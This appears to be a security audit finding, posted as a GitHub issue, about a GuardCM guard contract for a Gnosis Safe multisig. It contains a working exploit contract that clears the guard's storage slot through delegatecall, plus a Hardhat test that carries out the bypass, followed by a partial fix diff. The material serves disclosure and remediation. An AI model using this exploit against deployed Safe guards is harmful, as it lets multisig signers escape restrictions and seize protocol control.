The GuardCM contract is designed to restrict the Community Multisig (CM) actions within the protocol to only specific contracts and methods. This is achieved by implementing a checkTransaction() method, which is invoked by the CM GnosisSafe before every transaction. When GuardCM is not paused, the implementation restricts calls to the schedule() and scheduleBatch() methods in the timelock to only specific targets and selectors, performs additional checks on calls forwarded to the L2s and blocks self-calls on the CM itself, which prevents it from unilaterally removing the guard:
if (to == owner) {
// No delegatecall is allowed
if (operation == Enum.Operation.DelegateCall) {
revert NoDelegateCall();
}
// Data needs to have enough bytes at least to fit the selector
if (data.length < SELECTOR_DATA_LENGTH) {
revert IncorrectDataLength(data.length, SELECTOR_DATA_LENGTH);
}
// Get the function signature
bytes4 functionSig = bytes4(data);
// Check the schedule or scheduleBatch function authorized parameters
// All other functions are not checked for
if (functionSig == SCHEDULE || functionSig == SCHEDULE_BATCH) {
// Data length is too short: need to have enough bytes for the schedule() function
// with one selector extracted from the payload
if (data.length < MIN_SCHEDULE_DATA_LENGTH) {
revert IncorrectDataLength(data.length, MIN_SCHEDULE_DATA_LENGTH);
}
_verifySchedule(data, functionSig);
}
} else if (to == multisig) {
// No self multisig call is allowed
revert NoSelfCall();
}
However, a critical oversight in the current implementation allows the CM to perform delegatecalls to any address but the timelock. As can be seen above, DelegateCall operations are only disallowed when the target is the timelock (represented by the owner variable). What this effectively means is that the CM cannot run any Timelock function in its own context, but it can delegatecall to any other contract and hence execute arbitrary code. This allows it to trivially bypass the guard by delegating to a contract that removes the guard variable from the CMโs storage.
The CM holds all privileged roles within the timelock, which is in turn the protocolโs owner. This means that the CM can potentially gain unrestricted control over the entire protocol. As such, this vulnerability represents a significant risk of privilege escalation and is classified as high severity.
We can validate the vulnerability through an additional test case for the GuardCM.js test suite. This test case will simulate the exploit scenario and confirm the issue by performing the following actions:
A simple exploit contract could look as follows:
pragma solidity ^0.8.0;
contract DelegatecallExploitContract {
bytes32 internal constant GUARD_STORAGE_SLOT = 0x4a204f620c8c5ccdca3fd54d003badd85ba500436a431f0cbda4f558c93c34c8;
function deleteGuardStorage() public {
assembly {
sstore(GUARD_STORAGE_SLOT, 0)
}
}
}
And the test:
it("CM can remove guard through delegatecall", async function () {
// Setting the CM guard
let nonce = await multisig.nonce();
let txHashData = await safeContracts.buildContractCall(multisig, "setGuard", [guard.address], nonce, 0, 0);
let signMessageData = new Array();
for (let i = 1; i <= safeThreshold; i++) {
signMessageData.push(await safeContracts.safeSignMessage(signers[i], multisig, txHashData, 0));
}
await safeContracts.executeTx(multisig, txHashData, signMessageData, 0);
// Attempt to execute an unauthorized call
let payload = treasury.interface.encodeFunctionData("pause");
nonce = await multisig.nonce();
txHashData = await safeContracts.buildContractCall(timelock, "schedule", [treasury.address, 0, payload,
Bytes32Zero, Bytes32Zero, 0], nonce, 0, 0);
for (let i = 0; i < safeThreshold; i++) {
signMessageData[i] = await safeContracts.safeSignMessage(signers[i+1], multisig, txHashData, 0);
}
await expect(
safeContracts.executeTx(multisig, txHashData, signMessageData, 0)
).to.be.reverted;
// Deploy and delegatecall to exploit contract
const DelegatecallExploitContract = await ethers.getContractFactory("DelegatecallExploitContract");
const exploitContract = await DelegatecallExploitContract.deploy();
await exploitContract.deployed();
nonce = await multisig.nonce();
txHashData = await safeContracts.buildContractCall(exploitContract, "deleteGuardStorage", [], nonce, 1, 0);
for (let i = 0; i < safeThreshold; i++) {
signMessageData[i] = await safeContracts.safeSignMessage(signers[i+1], multisig, txHashData, 0);
}
await safeContracts.executeTx(multisig, txHashData, signMessageData, 0);
// Unauthorized call succeeds since we have removed the guard
nonce = await multisig.nonce();
txHashData = await safeContracts.buildContractCall(timelock, "schedule", [treasury.address, 0, payload,
Bytes32Zero, Bytes32Zero, 0], nonce, 0, 0);
for (let i = 0; i < safeThreshold; i++) {
signMessageData[i] = await safeContracts.safeSignMessage(signers[i+1], multisig, txHashData, 0);
}
await safeContracts.executeTx(multisig, txHashData, signMessageData, 0);
});
To run the exploit test:
Hardhat
Disallow delegatecalls entirely:
@@ -397,15 +397,14 @@ contract GuardCM {
bytes memory,
address
) external {
+ // No delegatecall is allowed
+ if (operation == Enum.Operation.DelegateCall) {
+ revert NoDelegateCall();
+ }
// Just return if paused
if (paused == 1) {
// Call to the timelock
if (to == owner) {
- // No delegatecall is allowed
- if (operation == Enum.Operation.DelegateCall) {
- revert NoDelegateCall();
- }
-
// Data needs to have enough bytes at least to fit the selector
if (data.length < SELECTOR_DATA_LENGTH) {
call/delegatecall
The text was updated successfully, but these errors were encountered:
All reactions